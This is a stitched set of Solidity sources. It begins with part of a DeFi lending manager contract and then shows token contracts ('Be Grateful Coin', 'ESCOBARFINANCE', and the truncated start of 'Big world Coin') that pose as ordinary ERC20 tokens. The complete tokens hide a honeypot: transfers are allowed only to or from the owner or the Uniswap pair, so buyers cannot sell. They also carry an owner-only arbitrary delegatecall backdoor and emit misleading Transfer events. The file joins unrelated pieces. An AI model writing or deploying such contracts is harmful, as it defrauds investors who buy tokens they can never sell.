getTokenHandlerBorrowLimit(uint256 handlerID) external view returns (uint256) { return _getTokenHandlerBorrowLimit(handlerID); } /** * @dev Get the borrow limit of the handler (internal) * @param handlerID The handler ID * @return The borrow limit */ function _getTokenHandlerBorrowLimit(uint256 handlerID) internal view returns (uint256) { IProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID)); bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler .getTokenHandlerBorrowLimit.selector ) ); return abi.decode(data, (uint256)); } /** * @dev Get the handler status of whether the handler is supported or not. * @param handlerID The handler ID * @return Whether the handler is supported or not */ function getTokenHandlerSupport(uint256 handlerID) external view returns (bool) { return dataStorageInstance.getTokenHandlerSupport(handlerID); } /** * @dev Set the length of the handler list * @param _tokenHandlerLength The length of the handler list * @return true (TODO: validate results) */ function setTokenHandlersLength(uint256 _tokenHandlerLength) onlyOwner external returns (bool) { tokenHandlerLength = _tokenHandlerLength; return true; } /** * @dev Get the length of the handler list * @return the length of the handler list */ function getTokenHandlersLength() external view returns (uint256) { return tokenHandlerLength; } /** * @dev Get the handler ID at the index in the handler list * @param index The index of the handler list (array) * @return The handler ID */ function getTokenHandlerID(uint256 index) external view returns (uint256) { return dataStorageInstance.getTokenHandlerID(index); } /** * @dev Get the amount of token that the user can borrow more * @param userAddr The address of user * @param handlerID The handler ID * @return The amount of token that user can borrow more */ function getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) external view returns (uint256) { return _getUserExtraLiquidityAmount(userAddr, handlerID); } /** * @dev Get the deposit and borrow amount of the user with interest added * @param userAddr The address of user * @param handlerID The handler ID * @return The deposit and borrow amount of the user with interest */ /* about user market Information function*/ function getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) external view returns (uint256, uint256) { return _getUserIntraHandlerAssetWithInterest(userAddr, handlerID); } /** * @dev Get the depositTotalCredit and borrowTotalCredit * @param userAddr The address of the user * @return depositTotalCredit The amount that users can borrow (i.e. deposit * borrowLimit) * @return borrowTotalCredit The sum of borrow amount for all handlers */ function getUserTotalIntraCreditAsset(address payable userAddr) external view returns (uint256, uint256) { return _getUserTotalIntraCreditAsset(userAddr); } /** * @dev Get the borrow and margin call limits of the user for all handlers * @param userAddr The address of the user * @return userTotalBorrowLimitAsset the sum of borrow limit for all handlers * @return userTotalMarginCallLimitAsset the sume of margin call limit for handlers */ function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256) { uint256 userTotalBorrowLimitAsset; uint256 userTotalMarginCallLimitAsset; for (uint256 handlerID; handlerID < tokenHandlerLength; handlerID++) { if (dataStorageInstance.getTokenHandlerSupport(handlerID)) { uint256 depositHandlerAsset; uint256 borrowHandlerAsset; (depositHandlerAsset, borrowHandlerAsset) = _getUserIntraHandlerAssetWithInterest(userAddr, handlerID); uint256 borrowLimit = _getTokenHandlerBorrowLimit(handlerID); uint256 marginCallLimit = _getTokenHandlerMarginCallLimit(handlerID); uint256 userBorrowLimitAsset = depositHandlerAsset.unifiedMul(borrowLimit); uint256 userMarginCallLimitAsset = depositHandlerAsset.unifiedMul(marginCallLimit); userTotalBorrowLimitAsset = userTotalBorrowLimitAsset.add(userBorrowLimitAsset); userTotalMarginCallLimitAsset = userTotalMarginCallLimitAsset.add(userMarginCallLimitAsset); } else { continue; } } return (userTotalBorrowLimitAsset, userTotalMarginCallLimitAsset); } /** * @dev Get the maximum allowed amount to borrow of the user from the given handler * @param userAddr The address of the user * @param callerID The target handler to borrow * @return extraCollateralAmount The maximum allowed amount to borrow from the handler. */ function getUserCollateralizableAmount(address payable userAddr, uint256 callerID) external view returns (uint256) { uint256 userTotalBorrowAsset; uint256 depositAssetBorrowLimitSum; uint256 depositHandlerAsset; uint256 borrowHandlerAsset; for (uint256 handlerID; handlerID < tokenHandlerLength; handlerID++) { if (dataStorageInstance.getTokenHandlerSupport(handlerID)) { (depositHandlerAsset, borrowHandlerAsset) = _getUserIntraHandlerAssetWithInterest(userAddr, handlerID); userTotalBorrowAsset = userTotalBorrowAsset.add(borrowHandlerAsset); depositAssetBorrowLimitSum = depositAssetBorrowLimitSum .add( depositHandlerAsset .unifiedMul( _getTokenHandlerBorrowLimit(handlerID) ) ); } } if (depositAssetBorrowLimitSum > userTotalBorrowAsset) { return depositAssetBorrowLimitSum .sub(userTotalBorrowAsset) .unifiedDiv( _getTokenHandlerBorrowLimit(callerID) ) .unifiedDiv( _getTokenHandlerPrice(callerID) ); } return 0; } /** * @dev Partial liquidation for a user * @param delinquentBorrower The address of the liquidation target * @param liquidateAmount The amount to liquidate * @param liquidator The address of the liquidator (liquidation operator) * @param liquidateHandlerID The hander ID of the liquidating asset * @param rewardHandlerID The handler ID of the reward token for the liquidator * @return (uint256, uint256, uint256) */ function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) onlyLiquidationManager external returns (uint256, uint256, uint256) { address tokenHandlerAddr = dataStorageInstance.getTokenHandlerAddr(liquidateHandlerID); IProxy TokenHandler = IProxy(tokenHandlerAddr); bytes memory data; data = abi.encodeWithSelector( IMarketHandler .partialLiquidationUser.selector, delinquentBorrower, liquidateAmount, liquidator, rewardHandlerID ); (, data) = TokenHandler.handlerProxy(data); return abi.decode(data, (uint256, uint256, uint256)); } /** * @dev Get the maximum liquidation reward by checking sufficient reward amount for the liquidator. * @param delinquentBorrower The address of the liquidation target * @param liquidateHandlerID The hander ID of the liquidating asset * @param liquidateAmount The amount to liquidate * @param rewardHandlerID The handler ID of the reward token for the liquidator * @param rewardRatio delinquentBorrowAsset / delinquentDepositAsset * @return The maximum reward token amount for the liquidator */ function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256) { uint256 liquidatePrice = _getTokenHandlerPrice(liquidateHandlerID); uint256 rewardPrice = _getTokenHandlerPrice(rewardHandlerID); uint256 delinquentBorrowerRewardDeposit; (delinquentBorrowerRewardDeposit, ) = _getHandlerAmount(delinquentBorrower, rewardHandlerID); uint256 rewardAsset = delinquentBorrowerRewardDeposit.unifiedMul(rewardPrice).unifiedMul(rewardRatio); if (liquidateAmount.unifiedMul(liquidatePrice) > rewardAsset) { return rewardAsset.unifiedDiv(liquidatePrice); } else { return liquidateAmount; } } /** * @dev Reward the liquidator * @param delinquentBorrower The address of the liquidation target * @param rewardAmount The amount of reward token * @param liquidator The address of the liquidator (liquidation operator) * @param handlerID The handler ID of the reward token for the liquidator * @return The amount of reward token */ function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) onlyLiquidationManager external returns (uint256) { address tokenHandlerAddr = dataStorageInstance.getTokenHandlerAddr(handlerID); IProxy TokenHandler = IProxy(tokenHandlerAddr); bytes memory data; data = abi.encodeWithSelector( IMarketHandler .partialLiquidationUserReward.selector, delinquentBorrower, rewardAmount, liquidator ); (, data) = TokenHandler.handlerProxy(data); return abi.decode(data, (uint256)); } /** * @dev Execute flashloan contract with delegatecall * @param handlerID The ID of the token handler to borrow. * @param receiverAddress The address of receive callback contract * @param amount The amount of borrow through flashloan * @param params The encode metadata of user * @return Whether or not succeed */ function flashloan( uint256 handlerID, address receiverAddress, uint256 amount, bytes calldata params ) external returns (bool) { bytes memory callData = abi.encodeWithSelector( IManagerFlashloan .flashloan.selector, handlerID, receiverAddress, amount, params ); (bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (bool)); } /** * @dev Call flashloan logic contract with delegatecall * @param handlerID The ID of handler with accumulated flashloan fee * @return The amount of fee accumlated to handler */ function getFeeTotal(uint256 handlerID) external returns (uint256) { bytes memory callData = abi.encodeWithSelector( IManagerFlashloan .getFeeTotal.selector, handlerID ); (bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (uint256)); } /** * @dev Withdraw accumulated flashloan fee with delegatecall * @param handlerID The ID of handler with accumulated flashloan fee * @return Whether or not succeed */ function withdrawFlashloanFee( uint256 handlerID ) external onlyOwner returns (bool) { bytes memory callData = abi.encodeWithSelector( IManagerFlashloan .withdrawFlashloanFee.selector, handlerID ); (bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (bool)); } /** * @dev Get flashloan fee for flashloan amount before make product(BiFi-X) * @param handlerID The ID of handler with accumulated flashloan fee * @param amount The amount of flashloan amount * @param bifiAmount The amount of Bifi amount * @return The amount of fee for flashloan amount */ function getFeeFromArguments( uint256 handlerID, uint256 amount, uint256 bifiAmount ) external returns (uint256) { bytes memory callData = abi.encodeWithSelector( IManagerFlashloan .getFeeFromArguments.selector, handlerID, amount, bifiAmount ); (bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData); assert(result); return abi.decode(returnData, (uint256)); } /** * @dev Get the deposit and borrow amount of the user for the handler (internal) * @param userAddr The address of user * @param handlerID The handler ID * @return The deposit and borrow amount */ function _getHandlerAmount(address payable userAddr, uint256 handlerID) internal view returns (uint256, uint256) { IProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID)); bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler .getUserAmount.selector, userAddr ) ); return abi.decode(data, (uint256, uint256)); } /** * @dev Get the deposit and borrow amount with interest of the user for the handler (internal) * @param userAddr The address of user * @param handlerID The handler ID * @return The deposit and borrow amount with interest */ function _getHandlerAmountWithAmount(address payable userAddr, uint256 handlerID) internal view returns (uint256, uint256) { IProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID)); bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler .getUserAmountWithInterest.selector, userAddr ) ); return abi.decode(data, (uint256, uint256)); } /** * @dev Set the support stauts for the handler * @param handlerID the handler ID * @param support the support status (boolean) * @return result the setter call in contextSetter contract */ function setHandlerSupport(uint256 handlerID, bool support) onlyOwner public returns (bool result) { bytes memory callData = abi.encodeWithSelector( IManagerSlotSetter .setHandlerSupport.selector, handlerID, support ); (result, ) = slotSetterAddr.delegatecall(callData); assert(result); } /** * @dev Get owner's address of the manager contract * @return The address of owner */ function getOwner() public view returns (address) { return owner; } /** * @dev Get the deposit and borrow amount of the user with interest added * @param userAddr The address of user * @param handlerID The handler ID * @return The deposit and borrow amount of the user with interest */ function _getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) internal view returns (uint256, uint256) { uint256 price = _getTokenHandlerPrice(handlerID); IProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID)); uint256 depositAmount; uint256 borrowAmount; bytes memory data; (, data) = TokenHandler.handlerViewProxy( abi.encodeWithSelector( IMarketHandler.getUserAmountWithInterest.selector, userAddr ) ); (depositAmount, borrowAmount) = abi.decode(data, (uint256, uint256)); uint256 depositAsset = depositAmount.unifiedMul(price); uint256 borrowAsset = borrowAmount.unifiedMul(price); return (depositAsset, borrowAsset); } /** * @dev Get the depositTotalCredit and borrowTotalCredit * @param userAddr The address of the user * @return depositTotalCredit The amount that users can borrow (i.e. deposit * borrowLimit) * @return borrowTotalCredit The sum of borrow amount for all handlers */ function _getUserTotalIntraCreditAsset(address payable userAddr) internal view returns (uint256, uint256) { uint256 depositTotalCredit; uint256 borrowTotalCredit; for (uint256 handlerID; handlerID < tokenHandlerLength; handlerID++) { if (dataStorageInstance.getTokenHandlerSupport(handlerID)) { uint256 depositHandlerAsset; uint256 borrowHandlerAsset; (depositHandlerAsset, borrowHandlerAsset) = _getUserIntraHandlerAssetWithInterest(userAddr, handlerID); uint256 borrowLimit = _getTokenHandlerBorrowLimit(handlerID); uint256 depositHandlerCredit = depositHandlerAsset.unifiedMul(borrowLimit); depositTotalCredit = depositTotalCredit.add(depositHandlerCredit); borrowTotalCredit = borrowTotalCredit.add(borrowHandlerAsset); } else { continue; } } return (depositTotalCredit, borrowTotalCredit); } /** * @dev Get the amount of token that the user can borrow more * @param userAddr The address of user * @param handlerID The handler ID * @return The amount of token that user can borrow more */ function _getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) internal view returns (uint256) { uint256 depositCredit; uint256 borrowCredit; (depositCredit, borrowCredit) = _getUserTotalIntraCreditAsset(userAddr); if (depositCredit == 0) { return 0; } if (depositCredit > borrowCredit) { return depositCredit.sub(borrowCredit).unifiedDiv(_getTokenHandlerPrice(handlerID)); } else { return 0; } } function getFeePercent(uint256 handlerID) external view returns (uint256) { return handlerFlashloan[handlerID].flashFeeRate; } /** * @dev Get the token price for the handler * @param handlerID The handler id * @return The token price of the handler */ function _getTokenHandlerPrice(uint256 handlerID) internal view returns (uint256) { return (oracleProxy.getTokenPrice(handlerID)); } /** * @dev Get the address of reward token * @return The address of reward token */ function getRewardErc20() public view returns (address) { return address(rewardErc20Instance); } /** * @dev Get the reward parameters * @return (uint256,uint256,uint256) rewardPerBlock, rewardDecrement, rewardTotalAmount */ function getGlobalRewardInfo() external view returns (uint256, uint256, uint256) { IManagerDataStorage _dataStorage = dataStorageInstance; return (_dataStorage.getGlobalRewardPerBlock(), _dataStorage.getGlobalRewardDecrement(), _dataStorage.getGlobalRewardTotalAmount()); } function setObserverAddr(address observerAddr) onlyOwner external returns (bool) { Observer = IObserver( observerAddr ); } /** * @dev fallback function where handler can receive native coin */ fallback () external payable { } }
DC1
pragma solidity ^0.5.17; /* Be Grateful Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BeGratefulCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; // ______ _____ _____ ____ ____ _____ ______ _____ _ _ _ _ _____ ______ // | ____|/ ____|/ ____/ __ \| _ \ /\ | __ \ | ____|_ _| \ | | /\ | \ | |/ ____| ____| // | |__ | (___ | | | | | | |_) | / \ | |__) | | |__ | | | \| | / \ | \| | | | |__ // | __| \___ \| | | | | | _ < / /\ \ | _ / | __| | | | . ` | / /\ \ | . ` | | | __| // | |____ ____) | |___| |__| | |_) / ____ \| | \ \ _| | _| |_| |\ |/ ____ \| |\ | |____| |____ // |______|_____/_\_____\____/|____/_/____\_\_| \_(_)_|__ |_____|_|_\_/_/____\_\_| \_|\_____|______| ______ _ _ __ __ // | __ \| __ \|_ _\ \ / /\ / ____\ \ / / / __ \| \ | | | ____|__ __| | | | ____| __ \| ____| | | | \/ | // | |__) | |__) | | | \ \ / / \ | | \ \_/ / | | | | \| | | |__ | | | |__| | |__ | |__) | |__ | | | | \ / | // | ___/| _ / | | \ \/ / /\ \| | \ / | | | | . ` | | __| | | | __ | __| | _ /| __| | | | | |\/| | // | | | | \ \ _| |_ \ / ____ \ |____ | | | |__| | |\ | | |____ | | | | | | |____| | \ \| |____| |__| | | | | // |_| |_| \_\_____| \/_/ \_\_____| |_| \____/|_| \_| |______| |_| |_| |_|______|_| \_\______|\____/|_| |_| // // interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract ESCOBARFINANCE { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.17; /* Big world Coin */ interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint 